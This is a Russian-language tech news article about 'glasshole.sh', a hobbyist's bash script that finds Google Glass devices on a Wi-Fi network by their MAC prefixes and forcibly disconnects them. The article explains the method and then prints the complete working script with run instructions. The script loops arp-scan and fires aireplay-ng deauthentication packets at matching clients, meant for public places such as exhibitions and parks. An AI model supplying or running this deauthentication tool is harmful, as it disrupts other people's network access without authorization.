Очки дополненной реальности Google Glass, не смотря на относительно высокую стоимость, набирают популярность. Впрочем, это нравится далеко не каждому. Люди, не желающие лишний раз попадать в объективы каких-либо видеокамер, далеко не в восторге от такой новинки. Энтузиаст по имени Julian, которого можно причислить к этой категории людей, разработал специальный скрипт, позволяющий выявить присутствие Google Glass в сети и «выпнуть» эти очки из нее.

Принцип работы скрипта прост и заключается в том, что каждый производитель сетевых интерфейсных устройств присваивает своей продукции собственный MAC-префикс. Это часть МАС-адреса, которая является уникальной для данного производителя. Программа с помощью утилиты arp-scan формирует список всех MAC-адресов устройств сети, которые потом сравнивает с MAC-адресом, характерным для Google Glass. При совпадении выдается предупреждающий звуковой сигнал, и затем запускается утилита aireplay-ng в режиме де-аутентификации. Это позволит отправить spoof-пакеты клиенту (очкам Google Glass), что заставит его отключиться от сети.
Скрипт предназначен для запуска на миникомпьютерах типа Raspberry Pi или BeagleBone black, работающих под управлением операционной системы Linux.
#!/bin/bash
#
# GLASSHOLE.SH
#
# Найдите и 'пните' Google Glass из своей беспроводной сети. Требуются
# 'beep', 'arp-scan', 'aircrack-ng' и хост GNU/Linux. Запускается на BeagleBone
# black или Raspberry Pi. Plug с хорошим сетевым USB-контроллером (NIC),
# например, TL-WN722N
#
# Сохранить как glasshole.sh, 'chmod +x glasshole.sh' и выполнить так:
#
# sudo ./glasshole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
#
shopt -s nocasematch
shopt -s extglob
NIC=$1 # Ваш NIC
BSSID=$2 # Сетевой BSSID (выставка, рабочее место, парк)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
GGMAC='@(F8:8F:CA:24*|F8:8F:CA:25*)' # Сравнение старого и нового Glass.
POLL=30 # Проверять каждые 30 секунд
airmon-ng stop mon0 # Отключение устройств мониторинга
airmon-ng start $NIC # Запуск устройства мониторинга
echo '
___ _ __ __ __ __ __
/ _ \___ ___ ( ) /_ / / ___ ___ _ ___ _/ /__ ____ ___ / / ___ / /__
/ // / _ \/ _ \|/ __/ / _ \/ -_) / _ `/ / _ `/ / _ `(_-<(_-</ _ \/ _ \/ / -_)
/____/\___/_//_/ \__/ /_.__/\__/ \_,_/ \_, /_/\_,_/___/___/_//_/\___/_/\__/
/___/
'
while true;
do
for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
'([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
do
if [[ $TARGET == $GGMAC ]]
then
# Звуковая сигнализация
beep -f 1000 -l 500 -n 200 -r 2
echo "Glasshole обнаружило: "$TARGET
echo "Де-аутентификация..."
aireplay-ng -0 1 -a $BSSID -c $TARGET mon0
else
echo $TARGET": это не Google Glass. Оставляем как есть.."
fi
done
echo "Не найдено в текущем цикле."
sleep $POLL
done
airmon-ng stop mon0